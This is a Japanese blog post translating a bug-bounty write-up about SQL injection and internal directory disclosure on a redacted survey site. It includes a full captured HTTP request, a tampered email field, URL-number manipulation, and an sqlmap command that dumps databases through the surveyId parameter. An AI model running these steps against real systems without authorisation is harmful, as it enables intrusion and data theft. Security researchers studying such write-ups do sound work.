Shikata Ga Nai

Private? There is no such things.

A03:2021 — [Injection] SQL Injection through internal directory discloseを訳してみた

Hello there, ('ω')ノ

 

A03:2021 — 内部ディレクトリ開示による SQL インジェクションを。

 

脆弱性

 SQLインジェクション

 情報漏えい

 

記事:

 https://tusharvaidya16.medium.com/a03-2021-injection-sql-injection-through-internal-directory-disclose-ecdef5230131

 

今回は、ディレクトリを変更して、サイトの 1 つで sqli を見つけ。

さらに、内部 Web ディレクトリの場所を公開するディレクトリの構成ミスを発見し。

常に応答から興味深いパラメータを見つけたので。

常に応答を探し続ける必要があることを覚えておくように。

 

テクニカルレビュー:

ターゲットを redacted.com として。

ある調査結果を送信した後、別の URL にリダイレクトされ。

その URL の末尾に一意の番号が付けられ。

その URL を操作しようとしたところ、設定ミスのエラーが表示されたので。

もう一度そのアンケート フォームに戻ってそこで遊んでみて。

よく見ると、リダイレクトされた URL で取得したのと同じ番号の応答に。

反映されるパラメータが見つかって。

 

それに飛びつく前に、いつも電子メールパラメータを再生するのが好きで。

なぜなら、そのパラメーターは常にジューシーだからで。

ディレクトリ検索でターゲットを絞り込み、新しい URL を見つけて。

それが重要な発見であり、これがシナリオであり、悪用の部分にジャンプして。

まず、訪問中に HTTP リクエストをキャプチャして。

 

 https://assessment.redacted.com/welcome/survey_result

 

ここでは、メール フィールドに 2 つのメール ID を追加して。

何か新しいものを識別し、更新されたリダイレクト URL で新しいものを見つけて。

以下はリクエストの全文で。

 

    POST /welcome/survey_result HTTP/1.1
    Host: assessment.redacted.com
    Cookie: _ga=BOOM; _gid=BOOM; _ga=BOOM; _gid=BOOM; ln_or=d; ci_session=BOOM
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary= — — — — — — — — — — — — — -5213360898382474
    Content-Length: 1588
    Origin: https://assessment.redacted.com
    Referer: https://assessment.redacted.com/people-excellence/assessment
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Te: trailers
    Connection: close
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”surveyId”
    46
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”bcpTest1"
    0.5
    — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”bcpTest2"
    0
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”bcpTest3"
    1
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”bcpTest4"
    0
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”bcpTest5"
    0.5
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”bcpTest6"
    1
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”bcpTest7"
    0
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”bcpTest8"
    1
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”bcpTest9"
    0.5
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”company-name”
    Ba2man
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”username”
    Ba1man
    — — — — — — — — — — — — — — -52133608983824741126631511
    Content-Disposition: form-data; name=”email”
    ba1man+1@gmail.com&ba1man@gmail.com

    — — — — — — — — — — — — — — -52133608983824741126631511 —

 

上記のリクエストを送信した後、サーバは次の URL を含むレスポンスを返して。

 

     https://assessment.redacted.com/people-excellence/result-721.php

 

その後、721 を 720 に変更したところ、サーバ エラーが発生して。

GUIだけを確認するためにブラウザで以下の調査フォームのリンクを。

開くことにした後、再びエラーが発生して。

 

 https://assessment.redacted.com.com/welcome/survey_result

 

アプリケーションを理解した後、「surveyId」で遊んで。

再度ディレクトリ検索を行ったところ、下記の新しい URL が見つかり。

さらに、手動での作業に非常に疲れていたので、脆弱なパラメータを知った後。

残りの作業を行うために sqlmap を実行して。

 

元の要求を sql_submit.txt ファイルに保存し、-p を使用して。

特定のパラメータを指定し。

これにより、sqlmap はそのパラメータのテストのみを行い、時間を節約でき。

以下は、sqlmap 用に作成した最終的なコマンドで。

 

sqlmap -r sql_submit.txt -p surveyId — level=5 — risk=3 — batch — dbs — time-sec=10

 

セキュリティアーキテクチャとして働いていたので。

1つの小さなバグが会社全体の機密データを悪用する可能性があることを知っていて。

 

Best regards, (^^ゞ